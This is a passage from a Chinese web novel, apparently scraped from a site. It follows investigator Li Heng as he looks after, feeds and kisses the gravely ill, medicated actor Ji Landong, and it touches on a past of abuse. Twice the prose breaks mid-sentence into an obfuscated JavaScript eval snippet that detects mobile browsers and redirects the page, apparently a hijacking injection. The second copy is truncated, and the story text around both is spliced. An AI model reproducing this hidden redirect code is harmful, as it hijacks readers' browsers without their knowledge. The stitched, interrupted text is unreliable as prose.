厉珩站在床边上,有样学样,摸了摸季斓冬的头发。 那双眼睛里难得透出点惊讶。 季斓冬抬头,看向厉珩,他让被子裹了个严实,一直盖到下巴,仰起脸时的样子甚至仿佛一瞬间就小了十岁。 至少厉珩这么觉得,他没法解释自己在干什么,索性不解释,把季斓冬的头发随便揉乱:“睡吧,不是累了?” 他盖住季斓冬的眼睛,睫毛在掌心微弱动了动,就归于安静,挪开手时,闭着眼的人已再无声息。 厉珩把狗崽子拎出门,回到床边,又把手放在季斓冬的鼻端,一动不动等了几秒钟。 有微弱的气流。 活着的。 厉珩自哂,摇了摇头,拉过椅子坐下,继续在证人床边翻看案件卷宗。 大概是气氛太安静,又没来由叫人放松,厉珩看得犯困,险些从椅子上掉下来几次,最丢人的一次直接把文件夹扣在地上。 窗外的天色已经黑了,暗淡安静里,格外响亮一声。 厉珩手忙脚乱捞起文件夹。 回头查看,季斓冬果然被吵醒了,睁开眼睛看向他。 厉珩:“……我出去看。” 他抹了把脸,想去客厅弄点冷水,却又怔了下,床和被褥被分出来一半,季斓冬正看着他。 “带我一个?”厉珩揉揉额角,有些哑然,“季斓冬,你倒很大方,你知道我是谁?” 他这么问,但并没耽误上床。厉珩当然不打算干什么,只是如果季斓冬这个关键证人愿意更加配合,他也会利用一切条件,尝试让季斓冬更信任他。 厉珩躺在季斓冬身旁,舒展了下坐了一天的身体,松了口气。 他枕着手臂,侧过头:“季斓冬。” 这种空间的确会无形拉进距离。 季斓冬对他的话有反应,也侧过头,慢慢眨了下眼睛,看着他。 近在咫尺。 季斓冬的睫毛很长,骨相极优越,因为实在太苍白,能看见薄薄眼皮上淡青色的血管,眼尾略微上扬,瞳孔漆黑。 厉珩忘了自己本来要说什么:“你眼睛漂亮。” ……季影帝头一次在床上听见这种恭维。 厉珩没意识到自己的话有问题,他这些年全心谋求政坛发展,还从没分心考虑过别的,只是纯粹想到哪说到哪:“我要是哪天想拍戏,就光拍你眼睛,让你这么眨两个小时。” 季斓冬轻声笑了下,闭上眼睛转回去,厉珩也就不再吵他,拉过被子把两个人盖上。 说实话夜里真冷。 厉珩已经在北方待了十年,习惯了室内供暖系统,回来只觉得冻手冻脚,实在忍不住辗转反侧了几次。 翻到最后一次身,被吵醒的季影帝伸手,把胸口的一点温度也分出来。 厉珩忘了动弹。 厉珩顿了几秒钟,回过神:“季斓冬。” 他想提醒季斓冬别认错人,他不是厉行云,但又觉得这种话实在无礼,季斓冬不是会认错人的人。 厉珩这么愣了会儿神,发现这种误会源于自作多情——不知什么时候溜回卧室的狗崽子钻了被窝,狗狗祟祟蹭到季斓冬胸口,还有一团莫名其妙顶起被子的空气,季斓冬是要抱它们。 但狗崽子和空气占的地方实在小。 厉珩笑了一声,摇摇头轻叹口气,他猜季斓冬大概也不介意,于是同样伸手。 他试着抱住季斓冬,掌心盖着消瘦到极点的脊背轻抚,季斓冬睡得安静,睫毛都不动,厉珩摸了摸,一片干燥。 迷迷糊糊不知多久,厉珩没来由做了个梦。梦里他抱着的季斓冬变成一块透明的冰,无知无觉、不会睁眼,某天这块冰忽然流泪,然后一瞬间,就在太阳下蒸发。 ……这梦真糟糕。 厉珩惊醒,窗外居然已经大亮。 床上是空的,厉珩跳下床,大步离开卧室,在客厅和几个房间找了一圈,最后被香味引到厨房。 季斓冬在煎鸡蛋。 厉珩揉了揉太阳穴,把嗓子眼的心脏咽回去:“季斓冬?” 季斓冬的状况似乎比昨天好很多。 动作依旧不快,煎鸡蛋的时候,每个步骤间也还是会停顿,拿着煎铲,需要想一想自己在做什么。 但鸡蛋煎得不错,季斓冬欣赏了一会儿,把它和生菜一起放在面包片上,切成两半。 厉珩面前多出半个三明治:“……给我的?” 季斓冬弯了下眼睛,又推过去一杯咖啡,比厉珩自己胡乱冲的香很多。 颀长冷白的手指抵着咖啡杯。 厉珩对着暖雾,愣了几秒,抬起视线道谢。 季斓冬身上,似乎有种照顾人的镇定本能,不费力,不特意,从容不迫。 哪怕思维已经不再做复杂运转、自我意识也坠沉进难以回应的深渊,依然能把这些事做得有条不紊。 厉珩这次终于有点明白,为什么厉行云和季斓冬在一起那段时间,被迷得要死要活,宁可和厉家闹翻决裂,也非要跟这个人在一起。 ……可惜。 “季斓冬。” 厉珩接过咖啡,他没察觉到自己的声音有多轻:“你是怎么长大?” 这问题似乎问住他的证人。 厉珩看着季斓冬,他发现季斓冬身上有些从未改变过的特质:腰身总是挺得很直,哪怕缄默也显得高不可攀,季然把这解读成傲慢,后来这看法传染给厉行云。 “在你记事以前——三岁以前,吃喝拉撒不算,这个阶段的婴幼儿必须被照料,满足基本的生理需求,这是选择生育的男女必须履行的责任。” 厉珩扬了扬笔记本,示意这是对证人的例行询问。 “除了这个,有人照顾过你吗?” 厉珩问:“哪怕一天。” 他等了一会儿,在“证人必须保证诚实”的原则下,看到季斓冬摇头。 “不需要。”季斓冬慢慢开口,说这句话时,他仿佛又变回很傲慢、很目中无人的狂妄影帝,“厉组长,我很好。” 季斓冬给系统做了奶油蘑菇汤,给小狗煮了无盐香肠,他很好,能照顾朋友。 他的身体像是生了锈,做事吃力,但勉强也算能用。 厉珩看着半蹲在地上、往食盆里放香肠的季斓冬。 这个问题似乎一瞬间把季斓冬推远,推回对岸,他们之间又隔了条冰河。 季斓冬支着膝,缓缓站起身,他的动作已经足够放慢,但眼前依旧迅速滑进一片漆黑,身体一晃就跪倒下去。 ……恢复知觉时,他靠在厉珩臂间,垂着头也垂着手,冷汗泡得视野模糊。 看得到指尖,却不能动。 像完全坏掉的木偶。 所有声音像是在一瞬间消失,变成单调的电流声,季斓冬静静看着自己的手,他无法操控它们,系统绕着他团团转,不停对他说话,小狗攻击厉珩的膝盖。 半个三明治碰了碰冰冷的嘴唇。 “慢慢吃。”厉珩扶着他,“医生说,细嚼慢咽,不然会胃痛。” 季斓冬看着指尖。 厉珩腾不开手,索性席地坐下来,让他靠在自己肩头:“帮帮忙啊,我的前程,唉,我的参议院。” 这算个不大不小的玩笑,厉组长学这种轻浮语气,学得四不像。 但影帝就是给面子,有人开玩笑,眼睛就配合地弯一下,季斓冬慢慢张口,咬住一点面包,抿着含住,咀嚼。 厉珩耐心地喂着他吃,抬起手,用掌根擦拭季斓冬淌进睫毛的冷汗。 休息的间隙,厉珩摸过手机,挑些不错的新闻念给他听:“季然的粉丝发生了很激烈的冲突。” 当然是因为季然本人的反应——那段视频引起轩然大波,粉丝伤透了心,不少热切支持他的粉头做视频宣布脱粉,战斗力一瞬间溃散。 于是,怒气冲冲的浩荡洪流退去,没了趋之若鹜的刷屏,被掩盖的质疑露出来。 【所以,也就是说。】 有人留言:【到目前为止,你们说的所有“季斓冬的罪证”,都没有实际证据?】 【都是你们猜的、你们听说的、你们特地断章取义歪曲的?】 【因为你们判他该死,所以你们作伪证,狡辩,扭曲事实,因为你们的目的是正义的……这道理是不是不太对??】 【你们到底知不知道……】 【你们在编造正义,私设公堂。】 【你们这是在杀人?】 一石击起千层浪,暴怒的粉丝自然忍不了这种指控,立刻混战成一团,这回的季然没再被当成“然然”优待保护,粉丝的怒火同样燃向季然,不少人激烈地批评指责他,骂他是废物,在这种乱象中仍然不出来替粉丝说话。 是懦弱、是没担当、是不负责任的逃避。 明明是关心他的人在被抨击,被围攻,他却躲起来当乌龟。 追问的人更匪夷所思:【对啊!所以你们是刚知道吗?】 【他不一直都是这样吗??】 【当初,他不替季斓冬说话的时候,你们是怎么说的?】 ——当然是因为季斓冬做了亏心事。 ——然然这么善良,连他都不站出来说话,季斓冬究竟多恶心多该死,不是显而易见吗? 【照这个逻辑,季然现在也不站出来,不替你们说话。】 【你们又是什么?】 当初的评论还没删干净,报应已到,两相对比当众处刑。 气疯的粉丝彻底不管不顾,抛开一切底线疯狂骂人,红着眼疯狂敲键盘,丝毫不顾说出来的话早已毫无逻辑。 却被邮件声吓得一个激灵。 起诉书。 厉行云居然真在打官司,半解散半瘫痪的厉阳传媒,现在倒是应了当初的承诺,真的为季斓冬一个人服务了。 律师函雪片一样飞出去,一个又一个嚣张到极点的账号,毫无预兆地突兀消音,退出骂战。 点进去看,本人在疯狂删帖,可惜网络从来不是没有痕迹,删掉又有什么用,还是要法庭上见。 …… 厉珩放下手机。 他找不到什么能给季斓冬念的东西。 季斓冬大概不想听有关“他是不是该死”的讨论。 厉珩咬着还剩一大半的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14380025|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明治,抱起季斓冬,绕过不停试图绊他的脚营救季斓冬的狗崽子,去阳台想让他晒晒太阳:“你是怎么长大的?” 他越来越想知道这件事,既是为了查案,也是出于某种不明缘由的私心。 季斓冬还在慢慢嚼最后一口面包。 嚼得很慢,一会儿就走神。 脸颊微微鼓动。 厉珩被他吸引视线,不知为什么无法移开,心想这莫非就是影帝的本事,怪不得季斓冬这些年被骂成这样,还这么有名气,拍什么火什么。 季斓冬把面包咽下去。 厉珩回神,三两口吞掉三明治,扶着季斓冬靠在躺椅上,起身去给他拿水和药。 药有很多种,季斓冬的状况不好,医生又新添了几样效用强的。 厉珩对照着说明书和医嘱数了半天,总算确认无误,回来的时候,季斓冬还是他离开前的姿势。 只是太阳已经挪动了,直射进来,给人镶上一层隐隐约约的金边,尤其是垂在眉间的发梢,没有血色的嘴唇,还有苍白的、微蜷着的手指。 厉珩走过去,拿手替他遮阳。 顺便把温水递给他:“季斓冬,吃药了。” 阳光刺眼,季斓冬不知道躲,要不是睫毛足够长和密,就要晒伤眼睛。 季斓冬躺在他的阴影里,眼睛微微动了下,慢慢回过神,因为“有没有人照顾过你”这个问题瞬间引出的自我防御已经消失,这双眼睛又显得很温和。 “厉组长。”季斓冬轻声和他打招呼。 厉珩俯身,一只手拿着药和水杯,一只手揽住他的肩膀和后脑,让他稍稍坐起。 厉珩自己坐在一旁,借他半边肩膀,摊开手掌:“药对吗?” 季斓冬也不知道。 他看到厉珩手里的药,就低头吃下去。 厉珩的掌心碰到冰冷的嘴唇,力道很轻,很微弱,像从迷雾里慢慢走出的、来水源旁垂头饮水的鹿。 厉珩喂他喝水,见他又含着药走神,就抬手在他眼前晃了晃,吸引回注意力:“咽下去,对,要用吞的。” 季斓冬吞咽,药很多,喉咙跟随微动。 厉珩看着都觉得难:“苦吗?” 季斓冬抬起眼睛。 他不说话,厉珩摸了摸他的头发,放弃这个问题,直接去厨房给他找白糖。 ……神特么找白糖。 系统看着厉珩手里那袋已经结块了的绵白糖,又高兴又发愁的,它能做的太少了,只能尽力带领小狗保卫季斓冬:「季斓冬,季斓冬。」 系统问:「你好一点了吗?」 季斓冬低头,慢慢挪动手指,轻轻摸了摸蘑菇。他变得越来越少说话,但眼睛里的神情实在很温柔。 系统喜欢被摸,蹭了蹭这些冰冷的手指,它有点知道季斓冬在想什么:「不用管主角,不用管剧情,崩成什么样我们都不管,完不成任务拉倒。」 「季斓冬,从现在起你什么都不用管。」 系统说:「你就让自己过得高兴一点,肆无忌惮,胡作非为。」 季斓冬配合地表演高兴,他的长相实在太出众,瘦成这样,反而少年感鲜明异常,在冬日阳光里微笑,是叫人挪不开眼的朗朗风致。 脚步声停在阳台外。 季斓冬抬头,温声打招呼:“厉组长。” 厉珩没能立刻出声,他沉默着站在阳台外,眼前阳光下的季斓冬,和记忆里月下的少年重合,泛着光的鹿涉水而来。 “很苦啊。”季斓冬说。 于是厉珩被自己的腿带过去。 他手里还捏着那袋硬邦邦结块的绵白糖,但没打开袋子,只是走到阳光底下。 季斓冬很虚弱。 能骗过数据,却瞒不过直觉的虚弱。 季斓冬的吻戏高明,传闻中没有他带不进戏的演员,传闻中季斓冬是相当风流荒唐、第一面就会和人接吻、却又从不负责的那种人……厉珩被他握住手腕,就不懂得挣脱。 触感很冰。 这实在是个很温存的、半开玩笑的吻。 “好多了。”季斓冬笑了笑,“谢谢。” 季斓冬并没有深入,仿佛这只是一场关于“肆无忌惮、胡作非为”的表演。 救赎值稳步上涨,系统欢天喜地撒花,极力撺掇季斓冬发扬反派风格,没事就把厉组长抓来亲嘴玩。 厉珩却蹙眉,眉头锁得很紧,不是因为冒犯,他暂时没有闲心考虑证人相当嚣张的轻薄和冒犯。 厉珩问:“好多了吗?” 季斓冬轻轻扬眉,仿佛一瞬间恢复正常,弯了弯眼睛要开口,却被抱住。 厉珩半跪在躺椅边沿,伸手圈着他的腰背。 “这样,季斓冬,你的……朋友。”厉珩在他耳边说,“听不到。” 是真也好,是假也好。 厉珩接受这个设定。 但他不接受季斓冬就这么一声不吭地融化掉,留下一个剔透的、空心的、仿佛很好的冰壳。 “季斓冬。” 厉珩说:“我想……请你,再给我一次机会。” 十二年前,他没有察觉到少年缄默的求救。他知道现在的季斓冬已经不想了,他知道,但至少,至少。 厉珩握住伤痕累累的手腕。 季斓冬的心跳抵着他的掌根,微弱无序,季斓冬调笑地演一个吻,但其实吝啬至极,甚至不肯把药的苦涩分给他尝。 或许有情绪压过公事公办,或许有东西失控,或许是因为一双眼睛漂亮,厉珩这种人,向来不会觉得什么眼睛漂亮。 厉珩攥着简陋的袋装绵白糖。 心脏跳得很急。 “很苦的话。”厉珩请求这个人,“别急着走,和我说。” 15.今天很好 季斓冬被他抱着。 很安静,体温很低。 和阳台刺眼的太阳格格不入。 厉珩尝试摸他的头发,太阳下的人不开口,不动,不接近最后那一丁点距离,像无知无觉的剔透冰壳。 厉珩的掌心盖着苍白冰冷的后颈,尝试轻按,但没有回。面前的眼睛仍弯着,带有一点称得上温和的遥远弧度,只是映不出影子,厉珩俯身碰上噙着笑的唇角。 他像在亵渎一个幻象。 和刚刚完全不同,季斓冬没有反应,任凭他亲,厉珩低声道歉,收拢手臂,抱住颓软安静的头颅。 他轻轻抚摸着季斓冬微张的眼睛。 季斓冬仰在他的手臂上,还是带着一点笑的影子,厉珩触碰这些睫毛,发现季斓冬不知道躲,不知道眨眼。 厉珩不清楚他在看什么,那片天空连云也没有,空无一物。 厉珩握住垂落的手。 “抱歉。”他低声说。 厉珩把季斓冬轻轻抱起,放回到客厅的沙发上,俯身跪在沙发旁。 拉上遮光帘后的客厅很暗。 黑暗有时危险,有时安全。 厉珩低头,他在这种事上并不熟练,模仿着季斓冬的动作,试着慢慢分开毫无力度的唇齿。舌尖谨慎搜索证据,抵着渗出寒气的上颚,有些血腥甜味的口腔,慢慢扫过舌根,尝到药残留的极苦味道。 季斓冬没说谎,这药就是很苦,苦得难以置信。 厉珩知道了自己想要的答案,慢慢结束了这个过程,撑起身,他用了几秒才想清楚自己刚才干了什么。 他后知后觉,起身时有些仓促不稳,迎上那双眼睛,怔了怔。 季斓冬躺在沙发上,被他吵醒,微微转头看着他。暗下来的寂静空间里,这张脸更优越得荒谬,厉珩想起见过的那些充满宗教暗喻的中世纪油画——有影评家这么评价那些有季斓冬的艺术品级大荧幕。 或许季斓冬听见了他吵过头的心跳。 厉珩向后退,可只来得及退半步。 沙发里的人笑了笑,厉珩就回去,半跪下来,握住那只手,轻轻托起季斓冬的脖颈。 “厉组长。”季斓冬开口,他的声音有些沙哑,漫不经心,又是那一副很风流放纵的影帝派头,“过去没亲过人?” 厉珩被问到软肋,滞住,脸上神情一僵。 他听见季斓冬轻轻笑了一声。 换个毛头小子,一定要被笑得气恼,觉得堂堂季影帝实在倨傲、目空一切、看不起人,简直就是在羞辱人。 但厉珩毕竟已经不在这个范畴,他比季斓冬还年长些,政坛浮沉早磨掉好胜心,不觉得承认“单身三十年”有什么丢脸:“嗯。” 厉珩低声问:“亲得很差?” 这个问题似乎也让那双眼睛微讶。 有点出乎意料、有点讶异的时候,季斓冬看起来更像是活着。 他看了一会儿厉珩,眼睛里透出些真心实意的笑,摇摇头,慢慢尝试恢复对身体的控制。这个过程并不容易,厉珩发现季斓冬似乎已经不太熟悉自己的手。 苍白到泛青的、瘦削冰冷的修长手指,仿佛艺术品,却因为药物的影响,在无法遏制地微微发抖。 但这丝毫影响不了他的体面。 季斓冬有这个本事,只要他坐起来,那种不会失控的从容就会恢复。 “不差。”季影帝亲自点评,“亲得很好。” 厉珩低头笑了下,他索性放松,就这么跪坐在沙发的地毯前,看着大概有细节强迫症的季影帝俯身,亲手替他整理领带、工装衬衫和调查局标配的枪套背带。 调整好所有细节,季斓冬撤开手,靠回到沙发里欣赏。 厉珩看向自己:“这样比刚才潇洒吗?” 他这么问,一只手还护在季斓冬背后,稍稍倾身,拿过几个抱枕叠在一起,让季斓冬能倚靠着坐稳。 季影帝很不吝夸奖:“迷倒一片。” 厉珩看不出区别,但能让季斓冬稍微放松,哪怕打发时间,也很令他觉得乐意:“那好。” 厉珩起身,找出取证用的相机,放在季斓冬手里:“帮我照张证件照?” 季斓冬的手臂托不住相机,被压得落在腿上,厉珩也配合着半跪,本来也是闲着无聊打发时间,厉珩教他随便乱按快门,不用管成片,反正这些年早换成了数码相机,也不必担心浪费胶卷。 模拟快门的响声乱七八糟响了一会儿。 睡醒的小狗开始捣乱,跑来跑去不停入镜,又很快嫉妒起季斓冬腿上的相机,试图把它拱掉,自己爬上去。 厉珩站起身,拿走岌岌可危的相机:“季斓冬……” 他看见这双眼睛弯了下。 “厉组长。”季斓冬忽然开口,“不要说‘我记得’。” 厉珩顿住。 他把这三个字吞回去。 他的确正要这么说,相机是个很合适的切入点。 他记得季斓冬那个变态继父就是摄影师,季然这么怕追查过去的事,一定是因为只要查到底,就能找出对他几乎是毁灭性的证据。 会不会和摄影有关? 会不会是照片、或者录制的视频? 施虐者有时是会有这种癖好,保留影像私密欣赏,甚至无法割舍、无法销毁这些影像……这个混乱扭曲的家庭里,或许存在不止一个施虐者。 这些念头都在漩涡里消失。 厉珩蹲在沙发前,一只手放在季斓冬的膝盖上,抬起头,看着这双仿佛又在瞬间遥远的眼睛。 他不清楚……季斓冬是否真有什么读心的天赋 又或者是戏演得太多,套路太熟,于是这人间不再有新鲜事。 “当然。”厉珩说,“我只是想问,雪停了,季斓冬,你想不想一起去买一块糖浆松糕布丁?” 他赌身经百战的季影帝,也并没应付过这种转折突兀、毫无逻辑的对话——现在的气氛明明很僵。 季斓冬问得仿佛情场老手,其实经验也寥寥。根据季斓冬从厉行云那里习得的逻辑,这种时候,自然要季影帝打破僵局、找话题来缓和气氛哄人。 季斓冬通常不会被置身于一个很开放的选择:既然雪停了,阳光又不错,要不要去买一块热乎乎香喷喷的甜腻布丁。 …… 或许赌赢了。 季影帝没找到合适的剧本,于是没找到台词,抱着四脚朝天露肚皮的小狗,眼睛里又露出那种微诧的茫然。 厉珩不着痕迹地松了口气。 他发现自己掌心有汗,心跳也很快,他意识到自己从没这么紧张。 怕季斓冬认为,他所做的一切,都只是为了从证人口中套话。 怕季斓冬对他失望。 这感觉陌生,厉珩隔着肋骨敲了两下心脏,起身去做出门前的准备,假装无意来回路过客厅三次,发现狗崽子根本是在耍赖阻挠季斓冬出门,遂与狗崽缠斗。 五分钟后成功让蓝灰制服沾满狗毛。 系统幸灾乐祸,拽着季斓冬一起放肆嘲笑。 季斓冬靠在沙发里的这一会儿,怀里已经换了相机、狗崽、蘑菇,看着颇显狼狈的厉组长,也笑了笑。 “厉组长。”季斓冬轻声说。 厉珩拎着疯狂刨空气的狗崽,抬头,有点尴尬:“它不听话。” “我知道。”季斓冬说,“它害怕,不想被留下,带它出门吧。” 季斓冬:“我照顾它。” 厉珩不知为什么愣了愣。 说这种话的时候,季斓冬的语气实在太平常,平常到不会有什么人特地留意,好像这就是理所当然。 哪怕狗崽并不是季斓冬想要的,只是厉行云异常徒劳的、自以为是到极点的补偿。狗要遛、要喂、要收拾,要梳毛洗澡,厉行云根本没考虑过,季斓冬的身体差到这个程度,怎么再多照顾一条狗。 厉珩沉默了几秒钟,狗崽也莫名乖巧,仰着脑袋,和他对视。 “……我再挑战一下。”厉珩说。 他说:“季斓冬,你不知道,我从入学第一天起的成绩就都是A和S。” 季斓冬的确不知道,厉组长这个故事讲得不错。 厉珩开始给他背自己的履历。 厉珩找来牵引绳,失败了几次,但最终还是成功给拧来拧去的狗崽戴上,他也尝试着学会了用粘毛器,有说明书,这些都不算难。 “根本不难。”厉珩洗干净了手,他把狗崽暂时拴在门口,顺利回到沙发旁,“就像玩过家家。” 他俯身,仔细拢住季斓冬,被他捧起来的人很安静,但厉珩知道,自己学着照顾狗崽的时候,季斓冬并没走神。 季斓冬一直在看着他。 厉珩抱起季斓冬,照顾季斓冬的动作比照顾狗崽细心,轻柔仔细,裹上足够防寒的羽绒服,系好围巾挡风,戴上毛线帽。 他蹲下来帮季斓冬穿鞋,整理好裤腿,半扶半抱地帮季斓冬起身。 他让季斓冬靠在自己身上,慢慢抚着季斓冬的脖颈,耐心地等那一阵眩晕彻底过去。 季斓冬很少这么打扮。 没有风衣、没有高领衫,没有该符合身份的一切装饰,长款羽绒服、毛线帽和旅游鞋让他看起来像个大学生。 厉珩把狗崽的牵引绳交给他。 “买糖浆松糕布丁”是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样的影子从窗户上映出来,让厉珩怀疑自己的精神也出现了错乱,揉了揉眼睛,幻觉消失,但依旧觉得可爱:“季斓冬。” 路上没什么车,他们走得很慢,厉珩这次把车停在无人的空地,抬起手,轻轻摸了摸季斓冬压在毛线帽下面的头发。 季斓冬和他接吻。 没人就这种行为给出试探、征询和任何解释,仿佛这只不过是某种社交礼仪,厉珩承认季斓冬的吻技比他的好,好不止二十倍。 哪怕季斓冬病着,用的药完全不会让欲望波动,但只是技巧,也足够让单身三十几年的厉组长呼吸急促,微微发抖,眼前一阵阵发黑。 厉珩喘不过气,不得不后撤大口呼吸,发现自己正被轻轻抚摸后颈——就像他对季斓冬做的那样。 季斓冬像面镜子,把他做的还给他,做得更好,季斓冬太有天赋。 冰凉的手指抚摸过耳后的敏感点。 厉组长重重打了个哆嗦,倏地抬头,迎上季斓冬的眼睛。 ……始作俑者居然无辜地看着他。 季斓冬在这时候的无辜,实在有些拉仇恨,厉珩苦笑,狠狠揉额头:“你在吃药吧?” 季斓冬点头。 厉珩撑着胳膊坐起来,把自己扔在方向盘上,深吸气深呼气,压制上涌的冲动……有什么办法。 这事他说了又不算。 难以启齿的窘迫逐渐被理解,季斓冬轻声笑起来,这次的笑的确不怀好意,幸灾乐祸明显,厉珩也的确有那么几分货真价实的恼羞成怒,他们莫名其妙笑得精疲力竭。 被挤到后排的小狗总算找到空子,拖着牵引带,飞快收服季斓冬腿上的失地。 外面不知不觉又下起雪,寒风呼啸,雪片纷飞,暴雪仿佛吞没一切。 车门把一切阻隔在外,温暖的驾驶室里,厉珩懒洋洋枕着手臂趴着,季斓冬微垂着眼睛,抚摸厉珩的眼尾,苍白指尖冰冷。 “厉组长。”季斓冬轻声问,“你想知道什么?” 这句话像冰水。 厉珩凝定住,他仰头,看向季斓冬,暗淡空间里的面孔淡漠,但眉眼还是很温和的形状。 “今天很好。”季斓冬不介意承认,这是前所未有的经历,从有记忆起,他似乎从没有这样度过一天,像死亡前光影斑斓的走马灯。 季斓冬向他招供:“我愿意说了。” 季斓冬问:“你想知道什么?” 16.今晚雪很大 车内变得很安静。 安静,只听见风声雪声,厚重的车身阻隔,一切变得遥远,但又喧嚣。 喧嚣到仿佛这辆车正在雪吞没。 厉珩分辨了几秒,意识到足以吞没越野车的风声,其实是自己的血液在呼啸。 他抬起手,摸了摸季斓冬的眼睛。 这里面的薄雾真冷。 厉珩想,他当然可以下这种判断,但这事不该季斓冬负责,一个从来都站在冰水里的人,抱起来就是这样的。 他招惹季斓冬,吻下去的时候,就很清楚这件事。 他伸出烘暖的双手,力道很轻,很仔细,把季斓冬从羽绒服的包裹里发掘出来。这种用来蓄温的衣物,能隔绝寒冷,保护体内生发的热气,却没法暖和一个已经被风雪吞噬的人。 厉珩拉开外套,裹住季斓冬。 他看着季斓冬的眼睛。 这双眼睛已经被风雪说服,即使是这样的距离,也并没什么被真正融化,没有什么从里面流淌出来,哪怕弧度实在很柔和。 季斓冬仰头,目光很平静,用一种几乎是包容的态度,耐心等待他的问询。 那种在亲吻过后,短暂弥漫在皮肤上的血色迅速褪去,又变成冰手的苍白,低头呵气也收效甚微。 这具身体并没有如愿变暖。 “我想不出。”厉珩如实承认。 塌下的雪块砸在前窗上。 厉珩没有让雨刷器立刻驱逐这些雪。 他说:“我想不出该问什么,季斓冬,我应该抓住这次机会——这种待遇不是天天都有,是不是?” 他看到季斓冬的眼睛弯了弯,不得不说,有些时候,他阔别重逢的证人身体里,还藏着些当初残留的脾气。 厉珩当然知道,十五岁的季斓冬自己弄深了那些被虐打的伤痕。一个虐待的老手知道怎么下手隐蔽,怎么不留证据,但季斓冬把它们弄得怵目惊心……用来引导好心的调查员,不再详查,把这一切草率地定性成“正当防卫”。 那次厉珩选择了配合季斓冬,于是他得到报偿:接下来的15个月,15起涉及这个圈子肮脏内幕的案子,都有直接证据神秘地掉进他的私人邮箱。 厉珩靠这个完成了最初的政绩积累。 季斓冬从不欠账,相当公平。 这次也一样。 季影帝耐心很好,静静等着。厉珩低头,不合时宜地想,烟花大概是没得看了,风雪这么大,没人会出门放烟花。 在这种天气,暖洋洋的家、热乎乎的晚饭炖汤对人的吸引力,当然远超华而不实的冰冷焰火。 雪把不堪重负的树枝压塌。 他们的车就在正下方,断枝砸中车顶,沉甸甸的厚雪压向玻璃,厉珩条件反射把人往怀里护,动作完成才回神。 这么厚实的防爆甲,好像不怕区区暴雪。 但怀抱已经收紧,手臂已经把冰冷的身躯环住,厉珩索性放平座椅,调暗灯光。他让季斓冬枕在自己的手臂上,在更多地方实践他在新领域观摩到的技巧。 季斓冬苍白的身体再次泛起暖意。 颈动脉的徐徐搏动,肩窝,瘦削到锋利的锁骨,一阵一阵的战栗仿佛一个又一个的漩涡,在这片已经平静到极点的冰水上漫开涟漪。 ……厉珩忽然停下。 他停下,对着刺眼的创痕。 厉珩把手按在仿佛稍微用力就会按穿的瘦削胸口。 季斓冬的心跳异常微弱,胸口的起伏也很轻微,这具身体上全是伤痕。 已经枯涸、不会消失的伤痕。 厉珩用外套把人裹住,他整理季斓冬微潮的短发,仔细看那双眼睛。 厉珩轻声说:“季斓冬。” 他握住季斓冬的手。 季斓冬躺在他的外套上,听见他叫自己,眼睛就微微动了下,寂静的冰水流淌,望向厉珩。 季斓冬清醒着。 等待厉珩的问询。 厉珩看向窗外,他依然轻轻抚摸着季斓冬的头发,因为实在不想停止这个动作,他完全理解季斓冬的反应,没人能质疑,除非他们的胸腔也被戳穿划烂。 厉珩想出了他的问题。 “我想知道。”厉珩说。 他在心跳声里看向季斓冬的眼睛。 “季斓冬,今晚雪很大,我能不能送你回家。” …… 这实在是个很浪费的问题——厉珩自己把人带出来的。 厉珩不送,季斓冬又不可能走回去。 季斓冬又要回家吃药。 厉珩下车去清雪,他们已经在这里停留太久,风卷着雪在车轮旁吹出雪窝,只有清出条路才能发动。 重新被他裹上羽绒服和毛线帽的季斓冬,趴在打开的车窗沿,手臂垂落,被风吹得微微晃动。 这样的打扮和动作,在车灯的恍惚光晕里,像是让他重回十五岁:“不能。” “厉组长。”季斓冬捏了一点雪,让它落在厉珩的衣领里,“不能。” “我不吃药了。” 季斓冬:“把我种进雪里吧。” 季斓冬:“厉组长。” 季斓冬:“以后会长蘑菇。” 他罕少有这种闲心开玩笑,系统高兴到不行,在风里拉着雪片转圈,到处撒小狗毛。 厉珩把折叠铁锹杵在雪地里。 抹了把汗,把乱开车窗的人塞回去,顺便探进半个身子,把暖风拨到最大档:“晚了。” 厉珩没准备讲道理:“三秒原则。” 超过三秒不回答等同于默认。 他问出这个问题的三秒内,季斓冬没有给出任何回应。 “你将被调查局组长绑架。”厉珩回到驾驶室,关上季斓冬这一侧的窗户,“这位证人,今晚雪夜大餐,泡面、自热火锅和便利店三明治,选哪个?” 季斓冬在咳嗽,很轻,冻得泛青的手指埋在小狗暖呼呼的肚子上,眼睛里微微透出笑。 厉珩侧头看他,也被感染笑意,打开车灯,按了下喇叭。 这不是个要回答的问题,季斓冬吃不下东西,厉珩知道,季斓冬依然停在那片无法接近的冰天雪地里,厉珩也知道。 但至少,仗着十二年前的情分,他偶尔还能拉住季斓冬的手,这只手愿意稍微变暖和一点儿的时候,季斓冬的身上,仿佛也有少年的影子短暂复活。 他们慢吞吞把车开回家。 厉珩尽力找了些完全不相关的、天南海北的轻松话题。 季斓冬大多时候安静地听,偶尔在厉组长实在词穷时,适当接一两句话,偶尔被窗外五颜六色的灯牌吸引。 厉珩就会把窗户上的水汽抹掉,让他看得更清。 最后一公里,季斓冬开始变得更安静和沉默,厉珩握住他垂在身旁的手,放在小狗脑袋上,季斓冬回神,朝他笑了笑。 厉珩知道,季斓冬需要用药物压制幻觉,这场计划外的雪,还有其他更在计划外的变故,稍微打乱了服药时间。 满载风雪的越野车泊进地下停车场。 厉珩跳下车,绕到另一侧开门,轻轻握住季斓冬的手腕,他晃了晃手掌,等季斓冬收回注意力。 